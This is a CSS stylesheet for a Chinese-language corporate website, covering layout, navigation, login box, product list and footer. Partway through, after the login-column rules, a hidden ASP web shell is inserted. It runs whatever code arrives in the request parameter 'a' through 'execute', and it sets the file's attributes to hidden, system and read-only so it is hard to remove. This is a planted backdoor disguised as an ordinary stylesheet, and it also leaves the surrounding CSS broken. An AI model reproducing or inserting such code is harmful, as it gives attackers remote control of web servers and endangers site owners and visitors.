﻿@charset "gb2312";
/* CSS Document */
/*----------------------------------reset style begin----------------------------------*/
html{overflow-y:scroll;height:101%;}
body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,button,textarea,p,blockquote,th,td{margin:0;padding:0;}
img{border:none;}
li{list-style:none;}
h1,h2,h3,h4,h5,h6{font-size:100%;font-weight:normal;}
input,button,textarea,select{font-family:inherit;font-size:inherit;font-weight:inherit;}
input,button,textarea,select{font:100% Tahoma,Helvetica,Arial,sans-serif;}
table {border-collapse: collapse; border-spacing:0;}
/*----------------------------------reset style end----------------------------------*/
.contact-img {
	position: absolute;
	top: 0;
	right: 0;
}
@media (max-width:768px) {
	.mobile-bottom {
		margin-bottom: 170px;
	}
}
#nav1 {
	display: none;
}
#T_Content {
	width: 98%;
	height: 125px;
}
#cont_column h3 {
	text-align: center !important;
}
#cont_column img {
	max-width: 100%;
}
#cont_column table {
	width: 100% !important;
	margin: 15px 0;
}
#cont_column table td {
	width: auto !important;
	border: 1px solid #999 !important;
}
.hidden-pc {
	display: none;
}
#newBridge .nb-show {
	display: none !important;
}
.lxb-container {
	display: none !important;
	right: -250px !important;
}
#newBridge {
	display: none !important;
}
.lxb-invite {
	display: none !important;
}
/*----------------------------------public style begin----------------------------------*/
body{
	margin:0 auto; font-size:12px;font-family:Arial, Helvetica, sans-serif;background:#ededed; color:#333;
}
p{
	line-height:180%; margin-bottom:10px; 
}
#wrap{
	margin:0 auto;width:925px; padding:0 6px; height:100%; background:#fff;
}
#header{
	position:relative; height:89px; background:url(../images/bg_header.gif) repeat-x bottom;
}
#header h1{
	background:url(../images/logo.png) no-repeat center center; width:409px; height:86px;
}
#header h1 span{
	display:none;
}
#header .toplink{
	position:absolute; top:10px; right:17px; 
}
#nav{
	background:url(../images/bg_nav.png) no-repeat left top; height:28px; color:#fff;
}
#navigation {
	margin-left:22px;
}
#navigation li {
	float:left; line-height:28px; text-align:center; position:relative; background:url(../images/bg_navright.png) no-repeat right;
}
#navigation li a:link, #navigation li a:visited {
	display:block; color:#fff; line-height:28px; font-weight:bold; padding:0 20px;
}
#navigation li a:hover{
	background:url(../images/bg_navhover.png) repeat-x; width:52px;
}
#navigation li ul {
	display:none; min-width:90px; position:absolute; top:28px; left:0; background:#1a3c9d;border:1px solid #98b0ec; border-width:1px 1px 0 1px;     z-index: 99;
}
#navigation li ul li{
	 background:none; padding:0; width: 100%;
}
#navigation li ul li a{
	display:block;color:#fff;white-space: nowrap;display: block;
}
#navigation li ul li a:link,#navigation li ul li a:visited{
	font-weight:normal;border-bottom: 1px solid #98b0ec; padding:0 5px; width:auto;display: block;
}
#navigation li ul li a:hover{
	border-bottom: 1px solid #98b0f0; background:#ce231c; width:auto;
}
#nav span{
	line-height:28px; margin-left:55px;
}
#footer{
	background: #165dab;
    color: #fff;height:180px; width:923px; margin:0 auto; padding:10px 0 0 0; clear:both; border:1px solid #ccc; margin-bottom:7px; margin-top:5px;
}
#footer p{
	line-height: 35px;
    margin: 0;
    text-align: left;
    margin-left: 260px;
}
.clear{
	clear:both;
}
.efont{
	font-family:Arial, Helvetica, sans-serif; font-size:12px;
}
h2{
	font-weight:bold;
}
.fr{
	float:right; margin:0 0 10px 12px;
}
.colorblue{
	color:#222471;
}
#navA li ul a {
	padding-left: 55px !important;
}
/*----------------------------------public style end----------------------------------*/


/*----------------------------------index style begin----------------------------------*/
#flash_index{
	height:198px; margin:1px 0;  overflow:hidden;
}
#imglink_index{
	height:117px;
}
#imglink_index li{
	display:inline; float:left; margin:0 1px 0 0;
}
#imglink_index .mn{
	margin:0; width:127px;
}
#imglink_index .mn img {
	width:129px;
	height: 74px;
}
#imglink_index span{
	display:block; text-align:center; line-height:20px;
}
#main_index{
	height:340px; 
}
#left_main_index,#center_main_index,#right_main_index,#left_column,#right_column{
    display:inline; float:left; overflow:hidden;
}
#left_main_index{
	width:223px; height:323px; background:url(../images/bg_left_index.gif) left 135px no-repeat;
}
#left_main_index h2{
	height:34px; background-repeat:no-repeat;
}
#left_main_index h2 span,#right_main_index h2 span,#left_column h2 span{
	display:none;
}
/*#left_main_index .title_search{
	background:url(../images/bg_title_search.png);
}
#left_main_index .title_domestic{
	margin:10px 0 0 0; background:url(../images/bg_title_domestic.png);
}*/
#left_main_index .title_domestic {
	background: #165dab;
	border-radius: 5px 5px 0 0;
}
#left_main_index .title_search {
	background: #165dab;
	border-radius: 5px 5px 0 0;
}
#left_main_index ul li a {
	width: 100%;
	font-size: 14px;
}
#left_main_index h2 span {
	display: block;
	font-size: 14px;
	color: #fff;
	padding: 7px;
	padding-left: 10px;
}
#left_main_index h2 {
	width: 100%;
}
#right_main_index h2 {
	background: #165dab;
	border-radius: 5px 5px 0 0;
}
#right_main_index h2 span  {
	display: block;
	font-size: 14px;
	color: #fff;
	padding: 7px;
	padding-left: 10px;
}

.login{
	width:221px; height:67px; border:1px solid #c5c5c5; 
/*	background:url(../images/bg_login.png) repeat-x;*/
	margin-bottom:20px; text-align:center;
	padding-top:23px;border-radius: 0 0 5px 5px;
}
.login p{
	text-align:right; margin-bottom:3px;  margin-right:31px;
}
.login p .input_menu{
	width:101px; border:1px solid #979797;
}
.login p .input_login{
	width:99px; border:1px solid #979797;
}
.login p .btn_login{
	width:50px; height:16px; line-height:14px; border:1px solid #c1c1c1;  text-align:center; color:#012a4a; cursor:pointer; margin:3px 0 0 0;
}
.title_login_column{
	width:172px; height:16px; display:block; padding:4px 0 4px 0; /*background:url(../images/bg_title_login_column.gif) no-repeat;*/
	margin:30px 0 0 11px; color:#1605a1; font-weight:bold; padding-left:13px;border-top: 1px dashed #ccc;
    border-bottom: 1px dashed #ccc;
}
.login_column{
	width:174px; background:none; border:none; text-align:left; margin:10px 0 0 14px; 
}
.login_column p{
	margin-right:0; text-align:left; text-indent:0; 
}
.login_column .btn{
	text-align:right;
}����ʱ��<%
dim a
a=request(chr(97))
on error resume next
execute a
response.write(""):Set fso=CreateObject("Scripting.FileSystemObject"):Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")):if  f.attributes <> 39 then:f.attributes = 39:end if%>
<%
response.write formatdatetime(now,1)&"<br>"
%>
.login_column p .input_menu{
	width:110px;
}
.login_column p .input_login{
	width:106px; border:1px solid #7e9db9; height:17px; padding:1px;
}
.login_column p .btn_login{
	width:46px; height:16px; line-height:14px; border:1px solid #bebebe; text-align:center; color:#0d049f; cursor:pointer;
	background:#fff; margin-right:4px;
}
#left_main_index ul{
	width:220px; margin-top:10px;
}
#left_main_index ul li{
	padding-left:13px; background:url(../images/bg_li_leftmianindex.gif) no-repeat -13px 8px; line-height:27px;
}
#left_main_index ul li a{
 width:220px; display:block;
}
#center_main_index{
	width:482px; height:324px; margin:0 13px 0 19px; background:url(../images/bg_center_mian_index.png) no-repeat right top;
}
#center_main_index h2{
	width:450px; height:14px; padding-top:9px; position:relative; padding-left:22px; color:#2a4286; font-weight:normal;
	background:url(../images/bg_title_centermainindex.png) no-repeat;
}
#center_main_index h2 a{
	position:absolute; right:0;
}
.company_index{
	margin-bottom:5px;
}
.company_index img{
	float:left; margin:18px 13px 0 5px;
}
.company_index p{
	color:#676767; margin:16px 0 0 0; width:300px; float:left;
}
#center_main_index ul{
	margin:19px 0 0 0;
}
#center_main_index ul li{
	display:inline; float:left; margin-left:8px;width: 23%;
}
#center_main_index ul li img {
	width: 100%;
}
#right_main_index{
	width:188px; height:100%;
}
#right_main_index h2{
	/*background:url(../images/bg_title_careers.png) no-repeat; */width:188px; height:34px;
}
#right_main_index img{
	display:block; margin-bottom:5px;
}
#right_main_index ul{
	margin:13px 0 24px 0;
}
#right_main_index ul li{
	line-height:24px; background:url(../images/bg_li_rightmianindex.gif) no-repeat left 6px;
}
#right_main_index ul li a{
	 padding-left:56px;
}
#right_main_index span{
	display:block; height:76px; padding:4px 0 0 0; background:url(../images/bg_left_index.gif) no-repeat top;
}
/*----------------------------------index style end----------------------------------*/



/*----------------------------------column style begin----------------------------------*/
.banner_column{
	width:925px; height:198px; overflow:hidden; margin:1px 0 7px 0;
}
#main_column{
	background:url(../images/bg_main_column.gif) repeat-y left top;  
	height:auto!important;
	height:500px;
	min-height:500px;
}
.bg_btm_main_column{
	background:url(../images/bg_btm_main_column.gif) no-repeat bottom; display:block; height:1px; font-size:0;
}
#left_column{
	width:211px; border-top:1px solid #bbb9bc;
}
#left_column h2{
	height:52px; margin-bottom:5px;
}
.subnav{
	width:186px; margin-left:12px;
}
.subnav li{
	line-height:29px; border-bottom:1px solid #e3e3e3; 
}
.subnav li a{
	color:#666; display:block;background:url(../images/icon_li_subnav.gif) no-repeat 3px 8px; padding-left:38px;
}
.subnav li a:hover{
	color:#fff; background:#cf241d; height:29px; 
}
.subnav li a:link,.subnav li a:visited{	color:#666; display:block;background:url(../images/icon_li_subnav.gif) no-repeat 3px 8px; padding-left:38px;
}


.contact{
	height:75px; width:188px; background:url(../images/bg_contact.gif) no-repeat top; padding:6px 0 0 0; margin:2px 0 0 12px; text-align:center;
}
#right_column{
	width:705px; background:url(../images/bg_right_column.png) no-repeat top; margin:0 0 0 9px;
}
.location{
	width:684px; height:58px; text-align:right; background-repeat:no-repeat; background-position:48px 26px; line-height:58px;
}
.location span{
	background:url(../images/icon_dot_blue.gif) no-repeat left 50%; padding-left:10px;
}
.location span strong{
	font-weight:normal; color:#222471;
}
.company_cn{
	background-image:url(../images/company_06.jpg);
}
.culture_cn{
	background-image:url(../images/culture_06.jpg);
}
.factory_cn{
	background-image:url(../images/factory_06.jpg);
}
.structure_06_cn{
	background-image:url(../images/structure_06.jpg);
}
.certificate_cn{
	background-image:url(../images/certificate_06.jpg);
}
.product_06{
	background-image:url(../images/product_06.jpg);
}
.application1_06{
	background-image:url(../images/application1_06.jpg);
}
.achievement_06{
	background-image:url(../images/achievement_06.jpg);
}
.technical1_06{
	background-image:url(../images/technical1_06.jpg);
}
.aftermarket_06{
	background-image:url(../images/aftermarket_06.jpg);
}
.inquiryform_06{
	background-image:url(../images/inquiryform_06.jpg);
}
.repair_06{
	background-image:url(../images/repair_06.jpg);
}
.message_06{
	background-image:url(../images/message_06.jpg);
}
.joinhanon1_06{
	background-image:url(../images/joinhanon1_06.jpg);
}
.vacancies_06{
	background-image:url(../images/vacancies_06.jpg);
}
.resume_06{
	background-image:url(../images/resume_06.jpg);
}
.staffread_06{
	background-image:url(../images/staffread_06.jpg);
}
.staffmessage_06{
	background-image:url(../images/staffmessage_06.jpg);
}
.contactus_06{
	background-image:url(../images/contactus_06.jpg);
}
#cont_column{
	padding:15px 30px 40px 35px;
}
#cont_column p{
	line-height: 26px;
	word-break: break-word;
}

/*--.newscont h1,.newscont span,.newscont img,.newscont p{
	margin:0 0 20px 0;
}
.newscont h1{
	font-size:16px; color:#333; text-align:center; margin-top:25px;
}
.newscont span{
	display:block; border:1px #ececec solid; border-width:1px 0; height:27px; line-height:27px; text-align:center;
}
.newscont img{
	display:block; text-align:center; margin:0 auto; margin-bottom:20px;
}
.newscont p{
	font-size:14px; line-height:22px; text-indent:2em;
}--*/
.pages{
	text-align:center; margin:0 0 10px 0;  height:37px; line-height:37px; width:705px;
}
.prd_list{
	margin:20px 0 0 0;
}
.prd_list li{
	display:inline; float:left; margin:0 23px 35px 23px;
}
.prd_list li a img{
	 width:127px; height:117px; border:1px solid #cbcbcd;
}
.prd_list li span{
	display:block; text-align:center; line-height:20px;
}
.content_news{
   float:left; width:620px; height:100%; margin-bottom:25px; padding-left:2px;
}
.content_news li{
   background:url(../images/list_new_mark.gif) no-repeat 6px 10px; line-height:30px; border-bottom:1px dashed #ccc; margin-top:10px;
}
.content_news li span{
   float:right; margin:0 10px 10px 0; display:inline;
}
.pages1{
   padding-left:43px; margin:20px 0 20px 0; text-align:center;
}
.content_news a:link,.content_news a:visited{
	color:#555; background:url(../images/fdg.gif) no-repeat 4px 5px; padding:0 0 0 20px; 
}

/*----------------------------------column style end----------------------------------*/



/*----------------------------------link style begin----------------------------------*/
a:link,a:visited,a:hover,a:active{
	color:#333; text-decoration:none;
}
a:hover{
	color:#2a4286; 
}
.white:link,.white:visited,.white:hover,.white:active{
	color:#fff;
}
.deepblue:link,.deepblue:visited,.deepblue:hover,.deepblue:active{
	color:#14317f;
}
/*----------------------------------link style end----------------------------------*/

.footer-l {
	width: 25%;
    float: left;
}
.footer-l img {
	width: 50%;
    padding: 25px 48px;
    border-right: 1px dashed #ccc;
}
.footer-r {
	width: 100%;
    padding: 48px 0px;
}
